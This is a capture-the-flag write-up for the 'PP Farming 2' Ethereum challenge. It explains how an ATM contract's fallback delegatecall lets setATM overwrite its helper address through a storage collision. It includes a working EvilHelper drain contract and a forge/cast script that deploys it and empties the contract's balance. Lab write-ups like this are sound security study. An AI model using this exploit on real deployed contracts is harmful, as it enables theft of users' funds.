← Back to Writeups
CUSTOMMediumBlockchain

PP Farming 2

XESXOR9/10/20263 min read
#blockchain#custom#medium#delegatecall_storage_collision#malicious_helper_contract#proxy_implementation_hijack

PP Farming 2

Platform: CUSTOM | Category: Blockchain | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: delegatecall_storage_collision, malicious_helper_contract, proxy_implementation_hijack

Summary

Walkthrough of the CUSTOM Blockchain PP Farming 2. Task: Ethereum ATM contract patched against the original reentrancy bug but still exposing a delegatecall proxy to a helper. Solution: call setATM through the fallback to overwrite the helper slot, th

Description

I fixed the issue. I think...

English summary: the attachment was an AES-encrypted ZIP. The prompt said to use the previous PP Farming flag as the password; that previous flag was only a password/context value, not the final flag for this challenge. After decryption, the goal was to drain an Ethereum PerformancePointATM instance so that isSolved() returned true.

Analysis

The original PP Farming bug was a straightforward reentrancy issue, but PP Farming 2 adds a noReentrancy modifier to withdrawPP(). The successful exploit is therefore not reentrancy.

The decrypted source contains two relevant contracts:

  • PerformancePointHelper storage layout:
    • slot 0: id_number
    • slot 1: atm
    • slot 2: helping
  • PerformancePointATM storage layout:
    • slot 0: scores mapping
    • slot 1: performancePointHelper
    • slot 2: locked

PerformancePointATM.withdrawPP() reads the caller's score, enters noReentrancy, and then executes:

solidity
performancePointHelper.delegatecall(
    abi.encodeWithSignature("processWithdrawal(address,uint256)", msg.sender, score)
);
scores[msg.sender] = 0;

The fallback function also proxies arbitrary calls to performancePointHelper using delegatecall. It blocks only the selector for processWithdrawal(address,uint256), but it does not block other helper functions such as setATM(address).

That creates a storage-collision primitive. Calling setATM(address) on the ATM reaches the fallback, which delegatecalls the helper. In the helper, setATM writes helper slot 1 (atm). Under delegatecall, slot 1 belongs to the ATM, so this overwrites PerformancePointATM.performancePointHelper. An attacker can replace the helper implementation with an arbitrary contract.

Once the helper address is replaced, withdrawPP() delegatecalls attacker-controlled code. During a delegatecall, address(this) is still the ATM, so attacker code can send the ATM's entire balance.

Solution

The malicious helper ignores the requested withdrawal amount and transfers address(this).balance to the recipient:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract EvilHelper {
    function processWithdrawal(address payable recipient, uint256) external returns (bool) {
        (bool success, ) = recipient.call{value: address(this).balance}("");
        return success;
    }
}

Exploit steps:

  1. Deploy EvilHelper.
  2. Call the ATM with the helper function signature setATM(address) and the EvilHelper address. This is routed through the ATM fallback and overwrites slot 1, changing performancePointHelper.
  3. Donate a minimal positive score, for example 1 wei, to satisfy require(score > 0) in withdrawPP().
  4. Call withdrawPP(). The ATM delegatecalls EvilHelper.processWithdrawal, which drains the full ATM balance to the player.
  5. Check isSolved() and the ATM balance.

Full command pattern:

bash
#!/usr/bin/env bash
set -euo pipefail

# Required environment variables:
#   RPC_URL       instance RPC endpoint
#   PRIVATE_KEY   funded challenge account private key
#   ATM           deployed PerformancePointATM address

forge create --broadcast --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" EvilHelper.sol:EvilHelper

# Put the deployed address from forge output here.
EVIL="0x..."
PLAYER=$(cast wallet address --private-key "$PRIVATE_KEY")

# Fallback delegatecall: PerformancePointHelper.setATM(address) writes ATM slot 1.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  "$ATM" "setATM(address)" "$EVIL"

# Create a non-zero score for the caller.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" --value 1 \
  "$ATM" "donatePP(address)" "$PLAYER"

# Delegatecalls EvilHelper.processWithdrawal and drains the ATM.
cast send --rpc-url "$RPC_URL" --private-key "$PRIVATE_KEY" \
  "$ATM" "withdrawPP()"

cast call --rpc-url "$RPC_URL" "$ATM" "isSolved()(bool)"
cast balance --rpc-url "$RPC_URL" "$ATM"

On the solved live instance, the ATM was 0x06a7D5480d3028827aB0bc33B23D1758CF182aE5 and the deployed EvilHelper was 0x6ef7d2F61D6dC572063897977A29c9c7231390E9. After the exploit, isSolved() returned true and the ATM balance was 0 wei.

Key Takeaways / Lessons

  • Mastering delegatecall_storage_collision, malicious_helper_contract, proxy_implementation_hijack was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-28 • CUSTOM • PP Farming 2 • Difficulty: Medium